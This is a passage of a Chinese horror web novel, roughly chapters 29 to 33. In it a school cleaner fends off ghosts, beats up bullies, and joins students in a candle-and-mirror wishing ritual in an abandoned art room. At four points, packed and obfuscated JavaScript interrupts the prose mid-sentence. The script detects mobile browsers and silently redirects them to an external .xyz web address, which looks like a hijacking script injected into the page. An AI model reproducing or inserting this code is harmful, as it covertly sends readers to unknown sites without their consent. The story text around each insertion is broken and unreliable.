“怎么感觉外面的声音越来越沉闷?”闻啼也发现了其中的蹊跷,“就像是……潜进了水里?!” “它可能要变形了。”今浅皱眉,低头,后退几步,“咦,有点恶心。” 一大摊黑色的不明液体,散发着莫名的恶臭,正慢慢从门缝涌进房间,时不时还夹杂着几句模糊不清的呻吟和呓语。 “唔……让我进来……” “不想……死……” 闻啼心道不好:难道这个鬼还没有死吗? “没事,离死不远了。”今浅似乎看出了闻啼心底的疑惑,丢下一句后,转身进入了厕所。 再次出来的时候,她拿出了扫帚和簸箕,开始清扫这些赖在门口的不明黑色液体。 等门口被扫得一干二净后,今浅把这些液体倒入厕所。 这些黑色的液体在马桶里,旋转,跳跃,刚才那些呓语此时全部都听得不太真切,好像已经淡淡地死掉了。 “再见……还是再也不见吧。”今浅礼貌道别,然后按下了冲水键。 “今浅,你快过来。”闻啼突然出声,“这里又有一张纸条!” 今浅走过去,一张书页正在她刚才清扫的位置。 “刚才你进厕所冲掉了那些东西后,门缝就被塞进来了一张纸。”闻啼说,“外面没有任何的怪物和人,这张纸应该是凭空出现的。” 今浅捡起来。 “这是给你的礼物,作为接待了特殊的客人的奖励。”今浅念完这一句后,看向背面,“现在请看你的桌子。” 今浅望过去,一张书页躺在那里。 【鬼怪篇:快递鬼】 【技能:可以锐化一部分身体,变成任意刀具。(代价:这部分身体将变脆,无法被医治。)】 “这张纸和那本诡异的图鉴很像。”闻啼显然也是发现了这一点,说,“你要不要把它放进图鉴里?” “先暂时不放吧。”今浅折好,随便塞回自己的口袋中,“我们还是先睡吧。不出意外,明天可谓是有着血战。” 今浅对图鉴心存怀疑。 有了这通“假妈妈”的前车之鉴,那么把图鉴交给自己的“妈妈”,是否也会是假的。 她正好也可以尝试一下,能否绕开图鉴,直接使用这些鬼怪的技能。 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199811|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟,今浅这十几年来从没学过,喜欢吃人血肉的东西是好东西。 她也没学过,妈妈会害自己的孩子。 一夜无眠。 第二天早上醒来,今浅把闻啼好好地挂在自己脖子上,昨天得到的纸页现在正在她的口袋里。 临走前,今浅想了想,还是再带上那个许久没有留意的图鉴。 虽然这本图鉴很邪门,但是它确实可以使用无面人的技能。如果只能通过图鉴使用技能,她还可以留一手。 昨天被掏的小洞已经不见了。 看样子,鬼怪对房屋造成的伤害,在第二天会复原。 今浅对此很满意:这样房东就不知道昨晚这里发生了什么,也应该不会在这方面为难她了。 “我怎么感觉怪怪的。”闻啼小声开口,“当时有什么东西在盯着我们?” “嗯,你的感觉没错。”今浅拿着手机假装自拍,实际上是透过漆黑的屏幕反光,看到身后那个,几乎贴着自己走的瘦长黑影,“有东西跟着我们。” 而且,今天还是第三天。 “但这个东西还是比较好针对的。”今浅已经研究出来应对方法,“只要你看到了它,它就不会动。” 最好是直接看着它,但这样她就不方便走路,在这比较拥挤的马路上,很可能会出现交通事故。 “看样子,它就是我们的引路人了。”闻啼说,“我有预感,我们今晚绝对可以进这个高中的怪谈。” 瘦长黑影只是一直跟着她,并没有直接接触她。 知道它是引路人的身份后,今浅也随便它。 反正早晚是要进去的,再怎么害怕也来不及了。 领班今早并没有在门口守着,今浅直接去自己的工作地点,拿好清扫工具,准备进厕所扫卫生时,脚步一顿。 里面站着许多凶神恶煞,但是很眼熟的人。 其中几个她见过,是她刚来第一天时,欺负别人的人,吴林。 少了几个面孔。 今浅发现端倪。 “喂,就是你,喜欢管事,对吧?”吴林抽着烟,冷冷地说,“只是一个乡下来的穷鬼,有什么嚣张的?喜欢出风头啊,喜欢英雄救美啊,现在帮你集火的人已经没了,你现在就自身难保了,呵呵。” “谬赞了。”今浅说,“我只是按照书上说的,路见不平,拔刀相助。” 遗憾的是,她当时没有刀,但是有一根拖把。掰成两半之后,她就有两把刷子。 “还真以为我在夸你呢,呵呵,难怪只是个保洁。”吴林不屑,朝周围的人比了个手势,其他人一拥而上。 “今浅你快跑!”闻啼急了,“他们只是想要找人发泄自己心中的不爽,不是真心想要跟你谈论逻辑的。” “跑不掉。”今浅向后看了一眼,反而往厕所里走。 她灵活躲避几个粗糙的攻击,像灵活的鱼,钻进来厕所深处。 其他人乐了。 见过往外跑的,但没见过往人群里挤的。 “哈哈哈,你是怕了,对吧?”他们笑得嚣张,心里不屑。 今浅没有说话,只是透过他们,微微抬头。 一道瘦长的黑影,正以扭曲的姿势攀附在天花板上,迅速爬进这个狭窄且但人满为患的厕所。 30. 第 30 章 “今浅,外面那个黑影似乎要进来了!”闻啼声音在今浅心里响起,说,“再这么下去,这个黑影可能就要钻进这一间厕所,我们都得被它碰到了。” 今浅在心里安慰他,说:“没事,反正我们迟早是要进去的,被引路鬼碰到应该没什么关系。” “倒不是担心这个,只是眼前的这些人……” “你们现在离开还来得及。”今浅盯着那个黑影,冷静的朝着面前的人开口,“还有离开的机会,还可以保住自己的一条性命。” 等到那个黑影进来了,今天晚上,这间厕所里面的所有人都能被邀请进怪谈做客。 似乎是听到了今浅说的话,那道黑影有点着急,拼命的想要往里钻,但视线又禁锢着它,就像卡bug一样,在那抽搐。 虽然今浅的目光及时制止了它,那个瘦长黑影停止移动,但它也已经有大半个头伸进来了。 它细长的头在空中慢慢伸长,摇晃,就像在搅拌的玻璃棒。 然而,围在今浅面前的人却不屑一顾。 “呵呵,什么玩意儿,神神叨叨的。” “没办法,谁让你惹到了我们吴哥呢。” “识相的,就跪下来求饶,再扇自己几巴掌。我们可不是好惹的。” “这群人有病吧?”闻啼只觉得莫名其妙,语气里多了几分嫌弃,“这所高中不是还挺好的吗?怎么会有这么抽象的人啊。” “可能是因为,不是所有学习好的人人品也很好。学习好只代表这个人学习方面很努力,但不代表这个人在德行上过得去吧。”今浅说,“当然,我说的是面前的这群人。” “就像蟑螂,当你发现一个的时候,其实就已经有一窝了。”闻啼顿了顿,说,“当然,我说的只是蟑螂。” 他可没有含沙射影。 说起来,今浅还从来没有碰到过这种情形。一群人欺凌一个人的阵仗,在来到这所高中之前,今浅只在书上见过。 也许是今浅一直沉默,没有理他们的冷嘲热讽,将他们忽视得太彻底。 跟班们有些恼羞成怒,说:“喂,怎么像傻子一样?杵在这干嘛呢?动起来呀!” “我不能动。”今浅老实说。 她得盯住那道黑影,不让它过来。 面前的人已经围在她的面前,几个参差不齐,高低错落的头已经遮住了她看向黑影的视线。 那道瘦长黑影也调整着自己的姿势,不去接触今浅的目光,慢慢爬进厕所。 “今浅,我知道你是好心人,一直以来心地善良,质朴纯洁。”闻啼委婉组织语言,说,“但现在这种时候,还在管着这群霸凌者的生死,也未免太好心了吧。” “啊,原来在你心里,我的形象这么好呀。”今浅说,“不过,很可惜,你猜错了我的动机。” “?” “你知道为什么厕所门外是一片漆黑的吗?” “……好像确实,但我记得,门外应该是有灯光的。” “很简单,因为面前的这个瘦长黑影,学会了向生活弯腰低头。” “……你是说,这个瘦长黑影是一直站在门外面,只是弯着腰钻进来了?”闻啼说,“看来它还挺聪明的,已经学会了弯腰。但这又能代表什么呢?” “这代表着,它的目标一直是我们。”今浅说,“如果我们直接出去了,它成功碰到了我们,那不就达成他的目标嘛。书上说的,如果无法改变输掉的结局,那么,让对方赢的很难受,那么自己就赢了。” “还挺哲学的输赢相对论。所以你是想让它把这群人给抓进怪谈世界里?” “啊,其实我也很想直接离开的。毕竟我为人一直善良,从来都不争不抢。本着与人为善的态度,和别人和平相处。”今浅叹气,“但是面前的这群人一直堵着我,不让我离开,我也没有办法。” “唉……那你等会儿下手轻点吧。力的作用是相互的。你太用力打他们,你会疼的。” 闻啼见证了全程,自然十分清楚,这群人之后会被选入怪谈世界,都是对面这群人自己的错。 今浅明明只是路过,但是这些人不依不饶,只会对无辜弱小的人下手。 只是打一顿的话,今浅还是太委婉心软了。 如果是他的话,他肯定会把他们引到怪谈世界,冷眼旁观他们生死,甚至把亲自细细剁成臊子,喂给鬼怪吃。 种什么因,结什么果。一切都是自作自受。 闻啼只能在心里感慨面前这群人真是有眼不识泰山,惹了不该惹的人,并且在心里默默为他们点上蜡烛。 今浅正在跟闻啼聊天,跟班却已经按耐不住,互相对视着一眼,心照不宣,上前走几步。 几个人的影子遮住了今浅的视线。那个瘦长黑影人如蟑螂般,窸窸窣窣地爬进厕所。 吴林冷眼看着这一切,放任不管,只是不耐烦地看了一眼时间,说:“不要太过火,我等会儿还要吃饭。” “诶诶,好的,我们早就给您占据了食堂最好的位置。”他们谄媚着。 吴林甩手,表示随他们便。 今浅蹲下身,缩进角落里,企图躲避天花板上瘦长黑影的试探。 而在跟班的眼里,她这是在害怕了。不由得露出会心的笑容,眼神里藏着止不住的嘲笑。 这两天,向潇湘一直都没有出现。他们实在是没有发泄自己压力的对象,这才看上了这个默默无闻,老老实实的保洁。 那个黑影趁着今浅低头的间隙,猛地跳下天花板。 在那个黑影碰到自己的那一瞬间,今浅只感觉周围的空气冷了很多,四周似乎有黑色不明物质在空中交织,缠绕,又很快被后风吹散。 四周恢复了之前的平静,仿佛刚才那个黑影的出现只是今浅的幻觉。 今浅叹气,有些苦恼。 看来今天晚上的怪谈,人数可能会超级加倍。怪谈里的鬼怪吃掉了他们后,危险程度会直线上升。 不过再结合她的观察,按照百年高中目前学生失踪的数量来看,怪谈里的鬼怪可能早就已经到了异常危险的地步。 今天这些人,可能只是鬼怪的开胃小菜。 除了今浅,在场的其他人也不约而同的感受到了这阵突如其来的冷意。 “怎么回事……怎么感觉刚才温度降了很多。” “能有什么事?这个世界总不可能是真的有鬼吧。之前的那些,都是他们的意外,跟我们又有什么关系。” “说的也是。” 吴林瞥了他们一眼,然后转身离开。意思是他不再插手他们的事情。 “你们现在是准备做一些不符合主流价值观的事情吗?”今浅突然开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205430|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 跟班们相视一眼,笑着说:“哈哈哈,当然了,而且还会比你想的更加过分。” “啊,那还真是遗憾呢。我本来不想用最恶劣的想法来揣测陌生人的。毕竟书上说了,人之初,性本善。” “那么我们就来让你见识一下,人心有多么险恶吧,哈哈哈……” 正在笑的是一个剃着寸头的人,可是话还没有说完,他只觉得自己腹部一阵疼痛,紧接着天旋地转,自己腾空,直到背部砸到了厕所门,才缓缓清楚,自己居然被面前的这个瘦弱无力的保洁捶飞了。 寸头:……??? “既然刚才我劝你们离开,你们不愿意走,那么现在,你们想离开也离开不了了。”今浅揉了揉拳头,环顾一圈众人,最后落到了寸头身上。 “现在,你们是一起上,还是一个一个上?”她的语气轻飘飘的,但根本就没有给他们其他选择的余地。 寸头心头一跳。 面前的这个保洁似乎好像只是简单的站在那里,就给他带来了无形的压力。 厕所的设施比较老旧,灯光模糊,他看不清保洁的表情,但是从那双没什么感情的眼睛里,寸头仍然头皮发麻,几乎是想要直接逃离这个现场。 今浅捡不到趁手的工具,只能活动着手腕关节,安静地等着他们回答。 “喂,寸头,你在那发什么愣呢?”同伴不满,“面前的这个女的只会偷袭,我们一起上,她绝对不——” 那名同伴话也还没说,就遭到今浅的一个肘击。 他瞳孔一缩,肘击的力度过大,以至于他顿时失声,哑口无言,只能捂住腹部,倒地艰难地呼吸。 他眼睛充满了恐惧,望向保洁的同时,身体止不住的颤栗。 好……好可怕的人…… “既然你们不想选,那我就帮你们选吧。” 宛如恶魔般的低语在他们耳边响起,所有人心头为之一颤,比起突如其来的后悔,更快涌出来的是生理性眼泪。 逃! 这是他们唯一的想法。 但还没等他们摸到出口,那个可怕的人不知何时,比他们更快出现在了门口。 …… 今浅走出厕所,说:“其实,如果不是因为他们先对我动手,我也不会这么做的。” “没事的,是他们先对你下手的。你又没做错什么,只是正当防卫。” “我还以为你会觉得我做的太过分了,我的手到现在都很痛。” “人类和动物最本质的区别,就是人类会使用工具,而动物不会。”闻啼说,“旁边明明有一个我给你精心挑选的马桶撅子。我费了好大劲,才把它移到你触手可及的位置。” 可是她看都不看一眼! “噫惹,那种东西,我才不要呢。脏兮兮的,看一眼仿佛精神就被污染了。” “这就是你不清楚了打架的终极奥秘了。打架的目的,不是让对方心服口服,而是要让对方从身体到精神都被全方面的污染恶心。” “这种伤敌一千,自损八百的招数,很明显就没什么效率吧……” 两人说得语气很轻巧,但无论是谁都清楚,这只是暴风雨前来的宁静。 真正的危险,是在晚上。 厕所里,躺着横七竖八,还有呼吸的人。他们一时半会儿可能是爬不起来了。 31. 第 31 章 晚上10点整,今浅已经到达了约定地点,那堵围墙外的大树下。 晚上是阴天,厚重的云层盖住了黑夜,再加上夏夜的燥热,体感温度就像是裹着一个厚重的被子前行。 看样子,很快就要下雨了。 “早知道今天就带上雨伞了。”闻啼望天,说,“看起来,等会就要下大雨了。” “那么晚等会儿许愿的时候,就可以祈祷把雨停下来,或者突然多出一把雨伞。” “咦,今浅,你也相信这个奇怪的仪式吗?这种向神明许愿的仪式明明听起来就很不靠谱吧。” “梦想是要有的,万一实现了呢?”今浅乐观,“就算神明什么也不做,自己的心理作用影响,也会让事情往好的地方发展吧。” 四周只有她和闻啼的对话,马路边上的鸣笛声,略微烦躁的风声,树叶婆娑的声音,都像是被橡皮擦擦掉了。 一时间,万籁俱静,以至于慢慢靠近的细碎脚步声格外明显。 今浅望过去,来了四、五个穿着校服的人。 走在最前面的,最显眼的正是裴佑。 倒不是因为他在其中颜值最为突出,而是因为他正背着一个梯子,想不让人注意都难。 “嗯,这里怎么会有人?”一道清脆的声音响起,带着些许疑惑。 那是站在人群中的一个女生,看样子是处于领导的地位。 “没关系的,大小姐,她只不过是来凑热闹的。”裴佑生怕秦语会不太开心,小声替今浅解释,说,“再说了,多一份人,多一个力。” “我们……真的要进去吗?”麻花辫女生咬着下唇,揣揣不安,“我听别人说,学校晚上不能进的。” “那你可以直接离开。”秦语微笑,“我并没有强制你过来,只是收钱办事,天经地义。你既然接受了我的交易,那么自然而然的,也要兑现你的行为吧。” 麻花辫女生一愣,有点尴尬:“额……抱歉,我不是这个意思……” 她的话还没说完,秦语就抬手。麻花辫女生见好就收,想说的话全都堵在喉咙里。 戴帽子的男生拍了拍麻花辫女生的肩膀,安慰道:“这些都不一定是真的,不要太担惊受怕。如果世界上真的存在这种未知神秘而又强大的力量,那么,这种力量早就会被操控者去控制世界,怎么可能会盯上我们这群小喽喽呢。” 手上拿着相机的男生也是有点兴奋,说:“是呀。而且你想一想,我们几个凭着一己之力,打破了学校这种神明的谣言,说不定还能在网上小火一把,然后赚大钱呢。” 几个人互相安慰,原本紧张的他们很快就镇定下来。 “你就是裴佑口中那位,奇怪的保洁吧。”秦语走了几步,来到今浅面前,上下打量了一番后,劝导,“你确定要跟着我们许愿吗?我们等会要去的地方很危险,还是直接离开为好。” “你们不用太在意我,我只是正好也有想要许的愿望,而且迫不得已,非常急切,万分重要,如果不许就会后悔终生的那种。” 今浅为了不被他们赶走,用真挚的语气说出这些夸张的话,企图打动秦语。 “是那种不许就会后悔终生,绝对不会动摇自己内心真实的想法的那种愿望吗?” “当然,就算是天塌了,我也会许那个愿望。”今浅义正言辞地说,“我为人正直,品行端正,绝对不会中途改变主意。” “好吧,这么听起来,想必你的愿望应该很重要吧。”秦语遗憾,“本来还想跟你交易来着。” “……交易?” “当然啦,他们也都是这样来的。”秦语看了一眼身后的人,无所谓地摊手,说,“每个人大概六位数吧,反正也是小钱。” 今浅:……??!! 六位数也只是小钱吗? “用钱来留住他们吗?”闻啼小声说,“听起来还挺不靠谱的,今浅,你可不要上当。万一许的是献祭自己复活别人的愿望,那可就糟糕透了。” “放心,我不是见钱眼开的人。” 闻啼放下心来。 今浅清了清嗓子,露出微笑,从善如流地说:“我突然想到,这份许愿的机会如此宝贵,我应该留给这些更重要的人,比如像你这样善良大方的人。” 闻啼:…… “算了吧,我还是不要用金钱来侮辱你高贵的品格了。”秦语感叹道,“好久没有见过像你这样正直又坚守原则的人了。” 今浅:其实可以侮辱的。 但现在似乎已经来不及了。 今浅叹气,第一次体会到什么是错过。 曾经有一份宝贵的赚钱机会摆在她的面前,她没有好好珍惜,只有等到彻彻底底失去的时候,她才后悔莫及。 人世间最大的痛苦,莫过于此。 “大小姐,时间快到了,我们还是赶紧进学校吧。”裴佑把梯子搬到墙旁边,拍了几下,确定梯子是牢固的,然后说,“正好我有先见之明,知道你不会翻墙,所以特地从我家的杂物间里搬出了一个梯子。” 今浅倒是意外的打量了他几眼,说:“没想到,你看起来粗心大意,但是在一些细节方面,还是很有细节的。” “不要以貌取人好不好。”裴佑无语,但他的动作很快,像壁虎一样攀上围墙,纵身一跃跳入学校内部,微微抬头,对已经踩着梯子,坐到围墙上的秦语张开手臂,说,“没事,你跳吧,我会接住你的。” “用不着,我自己会走。”秦语跳下围墙,踉跄了几步后,很快就保持了平衡。 裴佑也习惯了,收回手,装作什么都没有发生。 今浅等人接二连三翻墙进入学校。 在踩在地上的一瞬间,今浅察觉到四周有什么东西已经改变了,但是细细一想,却又说不出来。 就好像有东西在暗中窥视他们。 麻花辫女生打了个哆嗦,结结巴巴地说:“嘶……你们有没有感觉,学校这里这么冷啊?” 戴帽子的男生挠头,说:“还好吧?可能是你的心理作用。放心啦,有问题,我们会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211363|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的。” 话虽如此,大家脸色变得不太好。 “闻啼,你能看见周围发生了什么吗?”今浅握住挂在脖子上的戒指,皱着眉头询问。 没人回答她的问题。 今浅顿了顿,放下戒指,心里明了。 看来自己的直觉没有错,他们现在进入了怪谈世界。 至于闻啼的安危,今浅认为,应该是进入怪谈世界会让人员分散,而闻啼的状态特殊。 希望他那边没有任何问题吧。 裴佑把塑料袋子藏在了这附近的角落,在今浅惊讶的眼光下,他解释道:“我是特地避开了你们保洁,在这个最为方便的角落里藏了东西的。” 学校是不允许带这些东西的,万一有老师突发奇想,想要检查教室时,可能会被发现。 裴佑掏出提前准备好的手电筒,分给了在座的几位,小声说:“这条路我挺熟的,你们记得跟紧我。” 四周都是一片黑暗,就连学校的路灯都没有亮,他们就像是被笼罩在黑暗的雾里。 只有手电筒照到的地方,才能看见面前是什么东西。 裴佑在前面带路,大家没走几步,就到了教学楼的大门前。 由于百年高中并没有晚自习的习惯,教学楼也没有开灯,此刻是一片漆黑,就像未知的前途。 裴佑停下脚步,迟疑地说:“这就……到了?” “没想到,你路线记得还挺好的,刚才那个路线离教学楼还挺远的。”秦语看了一眼时间,说,“不过我们也走了十几分钟了。” 很快就要到,10点半,传说中许愿的时间了。 “太好了,我们赶紧进去吧。”相机男欢呼一声,率先冲进教学楼。 他迫不及待来记录“百年高中”的故事。 今浅第二个进入教学楼,秦语和帽子男大步跟上,裴佑见他们几步就超越了自己,也不再去纠结其他的,只是快步跟上。 麻花辫女生在原地踌躇片刻。 她看着几人越走越快,心里不安。 “喵——”突然背后传来了一阵凄厉的猫叫,麻花辫女生身上的鸡皮疙瘩都起来了,连忙跑起来追上前面快要消失的人影,说,“喂……等等我!” “我们要去的教室,并不是我们白天学习的教室。”走在前面的象棋男一边摆弄着手上的相机,一边跟后面的人解释,“我们要去的是废弃已久的美术室。” “为什么呢?”今浅好奇,“难道那里面发生了什么吗?” “在百年高中还没有扩校之前,那间美术室其实是普通的教室。”裴佑说,“后来建了新的教学楼,旧的教学楼就变成了艺术楼。但实际上,艺术楼和教学楼两栋是连在一起的,是丁字型结构。” “那间美术室一直被锁着,但我偷偷的用橡皮泥复制出了一份钥匙。”裴佑掏出口袋的钥匙,朝着大家晃了晃,说,“你们放心吧,我的准备非常周全,甚至还有备用计划。” 眨眼间,大家已经来到了这间废弃的美术室。 32. 第 32 章 裴佑轻而易举地撬开了锁,推门而入。 这间教室大概是用于存放雕像。大大小小的雕像放在一起,用白色的布盖住,高低错落,俯仰生姿。 突如其来的访客惊动了这件沉睡已久的教室,灰尘纷纷扬扬,四处飞舞。 “咳咳……” 众人一边掩住鼻息,前后脚走进了这间美术室。 “看起来也没什么不同的。”相机男有点遗憾。他撩起白色的布,看了一眼底下的雕像,说,“什么嘛……明明很普通。” 全部都是大小不同,肖像不一的纯白石膏雕像,有些头部受损,有些断了半个脖子,看样子是因为石膏雕像有损伤,所以才被放在这间早被封尘的教室里。 “我们还是做正事吧。”麻花辫女生提议,“早点做完,我们早点离开。” 裴佑点头,从那两个红色塑料袋里掏出了大大小小的东西,再掏出一本小册子,说:“我看看啊。首先我们得把蜡烛点燃……咦,怎么还要一个镜子?” 裴佑一愣,他记得之前书上是没有镜子的,因此也没有来得及准备镜子。 “哦,那现在是我们的侦探时间了。”帽子男说,“我们找找有没有镜子吧。” “镜子在最角落里。” 今浅指着一个角落,长方形的镜子并没有被白布遮完,而是露出了一小部分,镜面布满了许多苍白灰尘。 那面长方形的镜子被大大小小的雕像围住了,再加上盖在上面的白布,能通行的路就非常窄小,如果要过去,不得不踩在旁边的雕像上。 “踩在雕像上啊……”麻花辫女生低声说,“感觉有点不太尊重雕像。” “哎呀,雕像是死的,又不是活物,不会感觉到痛的。”帽子男安慰道,身体力行,三两步就攀上了雕像,一鼓作气将淹没在其中的镜子拔出来。 “来接个手……”帽子男把镜子移过去,裴佑接过来。 当帽子男爬下雕像时,他脚一滑,似乎没站稳,踉跄了几步,才缓缓站正。 “奇怪……”帽子男皱着眉头,转头回去,仔细打量着雕像。 不知道是不是他的错觉,当他爬下雕像的时候,他好像踩到了什么软软的东西。 可是,这些都是雕像,理应不会软绵绵的。 裴佑刚才接到镜子的时候,也不小心踩到雕像。 他连忙出声:“抱歉抱歉……无意冒犯,请勿怪罪。” “啊,这些你都信?”相机男被逗笑了。 “宁可信其有,不可信其无嘛。”裴佑解释道,他点燃蜡烛后,分发给在场的人。 按照书上所言,镜子前面也要放一根点燃的蜡烛。 裴佑点了好几次,都没有点着。 与其说是无法点燃蜡烛,倒不如说是蜡烛钢点燃时就被吹灭了。 可是这间教室是被锁上的,门窗都紧闭着,理应是没有风。 “啧。”裴佑皱眉,用手拢住蜡烛,尝试了几次,才让成功点燃了蜡烛。 明明刚才自己给其他人点蜡烛的时候,也没有这么费劲。 “咦,裴佑,你买的蜡烛和普通的蜡烛不太一样。”秦语接过蜡烛,看着苍白色的火苗,奇怪地说,“我没记错的话,正常的火苗应该是黄色的吧?” “啊……这是老板给我推荐的。”裴佑挠头,说,“那个老板说,如果想要达到我们的目的,就必须要用手中的这根蜡烛。” “那这老板也确实挺会赚钱的,还搞这种定制款蜡烛。”秦语没再多问。 几人围着,帽子男随便拿了旁边的布,擦拭干净镜子。 镜子倒映出大家的身影。 当众人都拿到了手中的蜡烛时,他们身后突然传来一道奇怪的声响。 “是我的幻觉吗?”帽子男一顿,说,“我刚才好像听到了,有人在笑。” “说不定不是人呢。”今浅猜测。 “啊!你可别吓我啊!”麻花辫女生被这个猜测吓了一跳,不知道是蜡烛的火光照得她脸色发白,还是她本来肤色就很白皙。 “我们还要再等几分钟。”裴佑看了眼时间,挺意外的,“我们来的还是有点早呀。” “既然如此,我突然想到了一个故事,你们想不想听?”今浅安静地看着手中的蜡烛,突然开口。 微弱的火光在跳动着,蜡烛的光隐约舔舐着她的脸庞,让今浅看起来更加的神秘莫测。 秦语沉默。 “好呀好呀,我想听。”相机男一脸兴奋,催促道,“我很清楚,这个时间点,最适合做的事情就是讲令人毛骨悚然的鬼故事了。” 像是再应和他说的话,众人只觉得后背发凉,像是周围真的存在什么不该存在的脏东西,正在陪着他们听今浅讲鬼故事。 “哎呀,没这么夸张,我感觉不是很吓人。”今浅缓缓说,“大概就是,一群人被困一个房间里,然后他们轮流讲自己真实经历过的鬼故事。如果鬼听了很喜欢,就会吹灭蜡烛,那么,这个鬼故事就会成真。” “这就有点吓人了。”麻花辫女生揣揣不安,她像是突然想到什么,低声说,“难道,每个人讲的鬼故事真的成真了吗?” “啊,那倒没有。”今浅安慰道,“毕竟人们眼中的鬼故事是鬼的同类,并不会吓到鬼。” “真是无聊的故事。”相机男叹气,说,“我还以为会有什么令人脑洞大开的故事呢,” “不过,有一个人像是开玩笑一样,说了一句话。”今浅说,“那个人说:‘我们将永远无法离开这间房间’。” 众人提心吊胆。 “然后蜡烛被吹灭了。”今浅叹气,“他们也真的没有离开这间房间。” 今浅话音刚落,镜子中间的蜡烛火焰扑腾了一下,差点就要熄灭了。 好在离蜡烛最近的裴佑眼疾手快,拿了已经空了的塑料瓶,盖在蜡烛的上方,才免除了即将熄灭的蜡烛。 “你……你是不是知道些什么?”秦语抿唇,说,“是在给我们提醒吗?” “啊?不是啦,我真的只是突然想到的而已。毕竟我妈妈是研究民俗恐怖故事的专家,我耳濡目染之下,也多多少少知道些东西。”今浅笑了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226472|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“就好比现在这个仪式,你知道为什么要在镜子中间立一个蜡烛,我们又为什么要拿着这些蜡烛呢?” “为什么?” “因为,人身上有三把火。但是如果你拿着一根蜡烛,这三把火就会集中在这一根蜡烛身上。一旦蜡烛熄灭了,那么,人身上的三把火也就没了。正所谓,书上说了,人死则光灭。” “!!”大家脸色骤变,不由自主抓紧了手中的蜡烛。 “但你还没有说镜子中间蜡烛的作用。”秦语说,“总不可能是给……” “当然了。”今浅说,“就是你想的,那是给鬼点的蜡烛。” 大家沉默着,相顾无言。 “不过,和人类的规则截然相反。一直点燃蜡烛,是在消耗鬼的能力,但如果蜡烛熄灭了,相当于鬼就没有限制,可以自由活动了。” “这么说,我们之中就存在着一只……”帽子男猛地止声,不敢继续说话。 他一转头,正好对上了一个雕像空洞洞的双眼,吓得一个机灵,连忙转过头。 夜晚,废弃的美术室,瘆人的雕像,一是暗示现在状况的鬼故事,还没有完成的许燕仪式,一切都像是电影里那些完美的恐怖开端。 “你……你是在吓我们的吧?”帽子男干笑几声,咽了下口水。 今浅沉默。 众人不由自主的变得紧张起来,脸上似乎写满了焦虑和恐惧。 此刻,大家宛若惊弓之鸟,一个极其细微的举动都会令他们身心崩溃。 他们看着罪魁祸首,祈祷着她能够说出一些让彼此心安的话。 “这当然—— 是在吓你们的啦。” 今浅微笑,说,“我都说了,这只是我突然想到的故事而已。” 把这个故事说出来,只是因为很符合现在的状况。 此话一出,大家脸上的表情松弛下来。彼此不约而同的松了口气。 秦语表情有点僵硬,她没想到,自己居然真的会被这么低智的故事吓到。 裴佑也舒口气。 “吓死我们了。”帽子男拍着胸口,一脸心有余悸,“我差点就相信了。” “就是就是。”麻花辫女生欲哭无泪。 “不过,有一点,其实我讲的并不是故事。”今浅指着镜子里的蜡烛。 大家不明所以,看向镜子时,虎躯一震。 不知何时,镜子前面正立的蜡烛突然变得模糊起来,像是有一团灰色的雾笼罩在蜡烛的上面。 “蜡烛是给鬼点死,这句话是真的。” “啊啊啊啊——”麻花辫女生被吓得后退了好几步,手中的蜡烛差点就被打翻了。 “小心。”今浅离她最近,眼疾手快,把蜡烛接住了,“在充满易燃物的教室里玩火,很容易自焚的。” “谢……谢谢。”麻花辫女生也意识到这点,手忙脚乱地接过蜡烛。 不大的教室,突然传来了一阵敲东西的声音。 “笃笃……” 麻花辫女生脸色骤变,转头看向发出声音的方向—— 33. 第 33 章 是他们身后的门。 门外传来了不太规律的敲门声。 可是当他们都看向门外的时候,那到敲门声,又不知何时,荡然无存。 众人相视一眼,都不说话。 裴佑正想起身,又被秦语按回去了。 “其他的先不用管。”秦语垂下眼眸,不知道在想什么,说,“我们早点把手中的事情做完,早点离开,才是最重要的。” 